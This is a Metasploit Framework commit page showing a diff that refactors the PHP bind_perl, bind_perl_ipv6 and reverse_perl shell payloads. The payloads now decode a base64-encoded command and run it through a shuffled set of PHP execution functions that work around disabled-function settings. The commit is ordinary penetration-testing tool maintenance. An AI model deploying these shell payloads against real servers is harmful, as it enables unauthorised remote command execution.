Skip to content

Commit 94c1939

Browse files
authored
Merge pull request rapid7#19466 from jvoisin/singles_php
Use php_preamble/php_system_block instead of `system` in payloads/singles/php/
2 parents 55943e7 + 4f846ee commit 94c1939

File tree

5 files changed

+31
-12
lines changed

5 files changed

+31
-12
lines changed

lib/msf/core/payload/php.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,7 @@ def php_system_block(options = {})
134134
}
135135
"
136136

137-
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen];
137+
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
138138
exec_methods = exec_methods.shuffle
139139
buf = setup + exec_methods.join("") + fail_block
140140

modules/payloads/singles/php/bind_perl.rb

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,11 @@
66

77
module MetasploitModule
88

9-
CachedSize = 230
9+
CachedSize = :dynamic
1010

1111
include Msf::Payload::Single
1212
include Msf::Sessions::CommandShellOptions
13+
include Msf::Payload::Php
1314

1415
def initialize(info = {})
1516
super(merge_info(info,
@@ -34,7 +35,14 @@ def initialize(info = {})
3435
# Constructs the payload
3536
#
3637
def generate(_opts = {})
37-
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
3846
end
3947

4048
#

modules/payloads/singles/php/bind_perl_ipv6.rb

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,11 @@
66

77
module MetasploitModule
88

9-
CachedSize = 230
9+
CachedSize = :dynamic
1010

1111
include Msf::Payload::Single
1212
include Msf::Sessions::CommandShellOptions
13+
include Msf::Payload::Php
1314

1415
def initialize(info = {})
1516
super(merge_info(info,
@@ -34,7 +35,14 @@ def initialize(info = {})
3435
# Constructs the payload
3536
#
3637
def generate(_opts = {})
37-
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
3846
end
3947

4048
#

modules/payloads/singles/php/reverse_perl.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,11 +35,14 @@ def initialize(info = {})
3535
# Constructs the payload
3636
#
3737
def generate(_opts = {})
38-
buf = "#{php_preamble}"
39-
buf += "$c = base64_decode('#{Rex::Text.encode_base64(command_string)}');"
40-
buf += "#{php_system_block({:cmd_varname=>"$c"})}"
41-
return super + buf
42-
38+
vars = Rex::RandomIdentifier::Generator.new
39+
dis = "$#{vars[:dis]}"
40+
shell = <<-END_OF_PHP_CODE
41+
#{php_preamble(disabled_varname: dis)}
42+
$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");
43+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
44+
END_OF_PHP_CODE
45+
return super + shell
4346
end
4447

4548
#

spec/modules/payloads_spec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2692,7 +2692,7 @@
26922692
ancestor_reference_names: [
26932693
'singles/php/bind_perl'
26942694
],
2695-
dynamic_size: false,
2695+
dynamic_size: true,
26962696
modules_pathname: modules_pathname,
26972697
reference_name: 'php/bind_perl'
26982698
end
@@ -2702,7 +2702,7 @@
27022702
ancestor_reference_names: [
27032703
'singles/php/bind_perl_ipv6'
27042704
],
2705-
dynamic_size: false,
2705+
dynamic_size: true,
27062706
modules_pathname: modules_pathname,
27072707
reference_name: 'php/bind_perl_ipv6'
27082708
end

0 commit comments

Comments
 (0)